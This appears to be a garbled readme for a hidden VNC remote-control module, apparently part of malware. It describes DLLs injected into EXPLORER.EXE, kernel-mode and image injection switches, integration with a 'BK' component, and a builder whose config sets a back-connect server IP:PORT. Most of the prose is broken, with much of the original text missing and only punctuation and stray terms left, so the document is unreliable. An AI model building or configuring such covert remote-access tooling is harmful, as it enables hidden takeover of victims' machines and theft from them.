VNC-
----------

          .
     ,     ,   RFB. 
      VNC-, : RealVNC, UltraVNC, TightVNC.
          TCP-,     Back-Connect,
 ..      .

 : Windows XP - Windows 7 SP1.
 : 86, 64.

     (DLL),        
 .    , DLL     ,   
 EXPLORER.EXE.  ,    ,        
  .        ,    ,   
     ,   ,        
   .
  
      :
 VNCDLL.DLL		-   32- (    WOW64) ;
 VNCDLL64.DLL	-   64- ;
 TESTVNC.EXE		-  ,  VNC-;

 :
 TESTVNC			-        : 5900
 TESTVNC <PORT>		-        
 TESTVNC <IP:PORT>	-    Back-Connect  IP:PORT    Back-Connect .
 
 
 VNC   VNCDLL   BK
---------------------------------------------

1.     .     inc\main.h   :
	#define	_KERNEL_MODE_INJECT		TRUE
 
2.   TCP/IP ,    VNC-.    
	RFB_DEFAULT_SERVER_PORT   inc\rfb.h
  
2.    VNCDLL.DLL  32   VNCDLL64.DLL  64 ,  !



VNC builder
-----------

     (\Builder\vnc.ini)   DLL.
    :
BcServer = <IP:PORT>  	- IP     .
BcTimeout = <>	-     ,       
				    .
     DLL       \Builder\build.bat.
	 DLL    \Builder\Release.

:  VNC DLL     ,        
   TESTVNC - .


     
-----------------------------------

      VNC      (DLL).

1.      .     ,    inc\main.h :
	#define	_INJECT_AS_IMAGE	TRUE

2.   VNC  -,           VNCDLL.
       VNCDLL,  ,       
 DllMain,  ,    :

typedef struct _VNCDLL_CONTEXT
{
	ULONGLONG	pModule32;	//      ,  32-  DLL
	ULONGLONG	pModule64;	//      ,  64-  DLL
	ULONG		Module32Size;	//   32- DLL
	ULONG		Module64Size;	//   64- DLL
} VNCDLL_CONTEXT, *VNCDLL_CONTEXT;